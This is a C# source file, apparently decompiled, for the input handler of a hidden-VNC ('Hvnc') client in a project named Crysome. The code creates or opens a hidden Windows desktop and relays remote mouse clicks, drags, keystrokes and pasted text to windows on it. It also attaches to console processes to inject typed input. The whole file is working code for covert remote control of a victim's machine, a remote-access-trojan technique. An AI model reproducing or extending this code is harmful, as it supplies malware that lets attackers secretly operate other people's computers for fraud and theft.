using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;

namespace Crysome.Client.Hvnc;

public class HvncInputHandler : IDisposable
{
	[StructLayout(LayoutKind.Explicit, CharSet = CharSet.Unicode)]
	private struct KEY_EVENT_RECORD
	{
		[FieldOffset(0)]
		public int bKeyDown;

		[FieldOffset(4)]
		public ushort wRepeatCount;

		[FieldOffset(6)]
		public ushort wVirtualKeyCode;

		[FieldOffset(8)]
		public ushort wVirtualScanCode;

		[FieldOffset(10)]
		public char UnicodeChar;

		[FieldOffset(12)]
		public uint dwControlKeyState;
	}

	[StructLayout(LayoutKind.Explicit)]
	private struct INPUT_RECORD
	{
		[FieldOffset(0)]
		public ushort EventType;

		[FieldOffset(2)]
		public KEY_EVENT_RECORD KeyEvent;
	}

	private Utils.POINT lastPoint = new Utils.POINT
	{
		x = 0,
		y = 0
	};

	private IntPtr hResMoveWindow = IntPtr.Zero;

	private IntPtr resMoveType = IntPtr.Zero;

	private bool lmouseDown;

	private static object lockObject = new object();

	private string DesktopName;

	public IntPtr Desktop = IntPtr.Zero;

	private const int STD_INPUT_HANDLE = -10;

	private const ushort KEY_EVENT = 1;

	[DllImport("kernel32.dll", SetLastError = true)]
	private static extern bool AttachConsole(uint dwProcessId);

	[DllImport("kernel32.dll", SetLastError = true)]
	private static extern bool FreeConsole();

	[DllImport("kernel32.dll", SetLastError = true)]
	private static extern IntPtr GetStdHandle(int nStdHandle);

	[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
	private static extern bool WriteConsoleInput(IntPtr hConsoleInput, INPUT_RECORD[] lpBuffer, uint nLength, out uint lpNumberOfEventsWritten);

	[DllImport("user32.dll")]
	private static extern uint MapVirtualKey(uint uCode, uint uMapType);

	private static bool TrySendConsoleInput(IntPtr hWnd, uint vk, char ch)
	{
		try
		{
			Utils.GetWindowThreadProcessId(hWnd, out var ProcessId);
			if (ProcessId == 0)
			{
				return false;
			}
			if (!AttachConsole(ProcessId))
			{
				return false;
			}
			try
			{
				IntPtr stdHandle = GetStdHandle(-10);
				if (stdHandle == IntPtr.Zero || stdHandle == new IntPtr(-1))
				{
					return false;
				}
				ushort wVirtualScanCode = (ushort)MapVirtualKey(vk, 0u);
				INPUT_RECORD iNPUT_RECORD = new INPUT_RECORD
				{
					EventType = 1,
					KeyEvent = new KEY_EVENT_RECORD
					{
						bKeyDown = 1,
						wRepeatCount = 1,
						wVirtualKeyCode = (ushort)vk,
						wVirtualScanCode = wVirtualScanCode,
						UnicodeChar = ch,
						dwControlKeyState = 0u
					}
				};
				INPUT_RECORD iNPUT_RECORD2 = new INPUT_RECORD
				{
					EventType = 1,
					KeyEvent = new KEY_EVENT_RECORD
					{
						bKeyDown = 0,
						wRepeatCount = 1,
						wVirtualKeyCode = (ushort)vk,
						wVirtualScanCode = wVirtualScanCode,
						UnicodeChar = ch,
						dwControlKeyState = 0u
					}
				};
				WriteConsoleInput(stdHandle, new INPUT_RECORD[2] { iNPUT_RECORD, iNPUT_RECORD2 }, 2u, out var _);
				return true;
			}
			finally
			{
				FreeConsole();
			}
		}
		catch
		{
			return false;
		}
	}

	private static bool IsConsoleWindow(IntPtr hWnd)
	{
		StringBuilder stringBuilder = new StringBuilder(64);
		Utils.RealGetWindowClass(hWnd, stringBuilder, 64);
		return stringBuilder.ToString() == "ConsoleWindowClass";
	}

	public HvncInputHandler(string DesktopName)
	{
		this.DesktopName = DesktopName;
		IntPtr intPtr = Utils.OpenDesktop(DesktopName, 0, fInherit: true, 511u);
		if (intPtr == IntPtr.Zero)
		{
			intPtr = Utils.CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero);
		}
		Desktop = intPtr;
	}

	public void Dispose()
	{
		if (Desktop != IntPtr.Zero)
		{
			Utils.CloseDesktop(Desktop);
		}
		GC.Collect();
	}

	public static int GET_X_LPARAM(IntPtr lParam)
	{
		return (short)(lParam.ToInt32() & 0xFFFF);
	}

	public static int GET_Y_LPARAM(IntPtr lParam)
	{
		return (short)((lParam.ToInt32() >> 16) & 0xFFFF);
	}

	public static IntPtr MAKELPARAM(int lowWord, int highWord)
	{
		return new IntPtr((highWord << 16) | (lowWord & 0xFFFF));
	}

	public void ResetWindowsTopDown(IntPtr ownerhWnd)
	{
		IntPtr topWindow = Utils.GetTopWindow(ownerhWnd);
		if (topWindow == IntPtr.Zero)
		{
			return;
		}
		IntPtr window = Utils.GetWindow(topWindow, Utils.GetWindowType.GW_HWNDLAST);
		if (window == IntPtr.Zero)
		{
			return;
		}
		while (window != IntPtr.Zero)
		{
			if (Utils.IsWindowVisible(window))
			{
				Utils.SetWindowPos(window, IntPtr.Zero, 0, 0, 0, 0, 16469u);
			}
			window = Utils.GetWindow(window, Utils.GetWindowType.GW_HWNDPREV);
		}
	}

	public static void SendStringToWindow(IntPtr hWnd, string text)
	{
		for (int i = 0; i < text.Length; i++)
		{
			ushort num = Utils.VkKeyScan(text[i]);
			if (num != ushort.MaxValue)
			{
				Utils.PostMessage(hWnd, 257u, (IntPtr)num, IntPtr.Zero);
				continue;
			}
			break;
		}
	}

	public Process GetProcessFromhWnd(IntPtr handle)
	{
		try
		{
			Utils.GetWindowThreadProcessId(handle, out var ProcessId);
			return Process.GetProcessById((int)ProcessId);
		}
		catch
		{
		}
		return null;
	}

	public string GetTopMostWindowName()
	{
		Utils.SetThreadDesktop(Desktop);
		Process processFromhWnd = GetProcessFromhWnd(FindTopMostWindow());
		string processName = processFromhWnd.ProcessName;
		processFromhWnd.Dispose();
		return processName;
	}

	public IntPtr FindTopMostWindow()
	{
		IntPtr activeWindowHandle = IntPtr.Zero;
		Utils.EnumDesktopWindows(Desktop, EnumWindowsCallback, IntPtr.Zero);
		return activeWindowHandle;
		bool EnumWindowsCallback(IntPtr hWnd, IntPtr lParam)
		{
			if (Utils.IsWindowVisible(hWnd))
			{
				activeWindowHandle = hWnd;
			}
			return true;
		}
	}

	public void PasteText(string text)
	{
		Utils.SetThreadDesktop(Desktop);
		IntPtr intPtr = FindTopMostWindow();
		if (!(intPtr == IntPtr.Zero))
		{
			SendStringToWindow(intPtr, text);
		}
	}

	public void PasteFromClientClipboard()
	{
		IntPtr intPtr = FindTopMostWindow();
		if (!(intPtr == IntPtr.Zero))
		{
			Utils.SendMessage(intPtr, 770u, IntPtr.Zero, IntPtr.Zero);
		}
	}

	public void Input(uint msg, IntPtr wParam, IntPtr lParam)
	{
		lock (lockObject)
		{
			Utils.SetThreadDesktop(Desktop);
			_ = IntPtr.Zero;
			bool flag = false;
			Utils.POINT lpPoint = default(Utils.POINT);
			IntPtr intPtr;
			if (msg - 256 <= 2)
			{
				lpPoint = lastPoint;
				intPtr = Utils.WindowFromPoint(lpPoint);
				if (msg == 258 && intPtr != IntPtr.Zero && IsConsoleWindow(intPtr))
				{
					char ch = (char)wParam.ToInt32();
					uint vk = (uint)wParam.ToInt32();
					TrySendConsoleInput(intPtr, vk, ch);
					return;
				}
			}
			else
			{
				flag = true;
				lpPoint.x = GET_X_LPARAM(lParam);
				lpPoint.y = GET_Y_LPARAM(lParam);
				Utils.POINT pOINT = lastPoint;
				lastPoint = lpPoint;
				intPtr = Utils.WindowFromPoint(lpPoint);
				switch (msg)
				{
				case 513u:
				{
					lmouseDown = true;
					hResMoveWindow = IntPtr.Zero;
					IntPtr intPtr2 = Utils.FindWindow("Button", null);
					Utils.GetWindowRect(intPtr2, out var lpRect2);
					if (Utils.PtInRect(ref lpRect2, lpPoint))
					{
						Utils.PostMessage(intPtr2, 245u, IntPtr.Zero, IntPtr.Zero);
						return;
					}
					StringBuilder stringBuilder = new StringBuilder(260);
					Utils.RealGetWindowClass(intPtr, stringBuilder, 260);
					if (stringBuilder.ToString() == "#32768")
					{
						IntPtr subMenu = Utils.GetSubMenu(intPtr, 0);
						int num7 = Utils.MenuItemFromPoint(IntPtr.Zero, subMenu, lpPoint);
						Utils.GetMenuItemID(subMenu, num7);
						Utils.PostMessage(intPtr, 485u, new IntPtr(num7), IntPtr.Zero);
						Utils.PostMessage(intPtr, 256u, new IntPtr(13), IntPtr.Zero);
						return;
					}
					break;
				}
				case 514u:
					lmouseDown = false;
					switch (Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam).ToInt32())
					{
					case -1:
						Utils.SetWindowLong(intPtr, -16, Utils.GetWindowLong(intPtr, -16) | 0x8000000);
						Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam);
						break;
					case 8:
						Utils.PostMessage(intPtr, 274u, new IntPtr(61472), IntPtr.Zero);
						break;
					case 9:
					{
						Utils.WINDOWPLACEMENT lpwndpl = default(Utils.WINDOWPLACEMENT);
						lpwndpl.length = Marshal.SizeOf(lpwndpl);
						Utils.GetWindowPlacement(intPtr, ref lpwndpl);
						if ((lpwndpl.flags & 3) != 0)
						{
							Utils.PostMessage(intPtr, 274u, new IntPtr(61728), IntPtr.Zero);
						}
						else
						{
							Utils.PostMessage(intPtr, 274u, new IntPtr(61488), IntPtr.Zero);
						}
						break;
					}
					case 20:
						Utils.PostMessage(intPtr, 16u, IntPtr.Zero, IntPtr.Zero);
						break;
					}
					break;
				case 512u:
					if (lmouseDown)
					{
						if (hResMoveWindow == IntPtr.Zero)
						{
							resMoveType = Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam);
						}
						else
						{
							intPtr = hResMoveWindow;
						}
						int num = pOINT.x - lpPoint.x;
						int num2 = pOINT.y - lpPoint.y;
						Utils.GetWindowRect(intPtr, out var lpRect);
						int num3 = lpRect.left;
						int num4 = lpRect.top;
						int num5 = lpRect.right - lpRect.left;
						int num6 = lpRect.bottom - lpRect.top;
						switch (resMoveType.ToInt32())
						{
						default:
							return;
						case 2:
							num3 -= num;
							num4 -= num2;
							break;
						case 3:
						case 4:
						case 5:
						case 6:
						case 7:
						case 8:
						case 9:
							return;
						case 10:
							num3 -= num;
							num5 += num;
							break;
						case 11:
							num5 -= num;
							break;
						case 12:
							num4 -= num2;
							num6 += num2;
							break;
						case 13:
							num4 -= num2;
							num6 += num2;
							num3 -= num;
							num5 += num;
							break;
						case 14:
							num4 -= num2;
							num6 += num2;
							num5 -= num;
							break;
						case 15:
							num6 -= num2;
							break;
						case 16:
							num6 -= num2;
							num3 -= num;
							num5 += num;
							break;
						case 17:
							num6 -= num2;
							num5 -= num;
							break;
						}
						Utils.MoveWindow(intPtr, num3, num4, num5, num6, repaint: false);
						hResMoveWindow = intPtr;
						return;
					}
					break;
				}
			}
			IntPtr intPtr3 = intPtr;
			IntPtr intPtr4;
			do
			{
				intPtr4 = intPtr3;
				Utils.ScreenToClient(intPtr4, ref lpPoint);
			}
			while (!(intPtr3 == IntPtr.Zero) && !(intPtr3 == intPtr4));
			if (flag)
			{
				lParam = MAKELPARAM(lpPoint.x, lpPoint.y);
				StringBuilder stringBuilder2 = new StringBuilder(260);
				Utils.RealGetWindowClass(intPtr4, stringBuilder2, 260);
				string text = stringBuilder2.ToString();
				if (Utils.PostMessage(intPtr4, msg, wParam, lParam) != IntPtr.Zero)
				{
					switch (text)
					{
					case "SysTreeView32":
					case "Button":
					case "DirectUIHWND":
						if (msg == 514 && text != "DirectUIHWND")
						{
							Utils.PostMessage(intPtr4, 256u, new IntPtr(13), new IntPtr(1835009));
						}
						break;
					}
					return;
				}
			}
			Utils.PostMessage(intPtr4, msg, wParam, lParam);
		}
	}
}
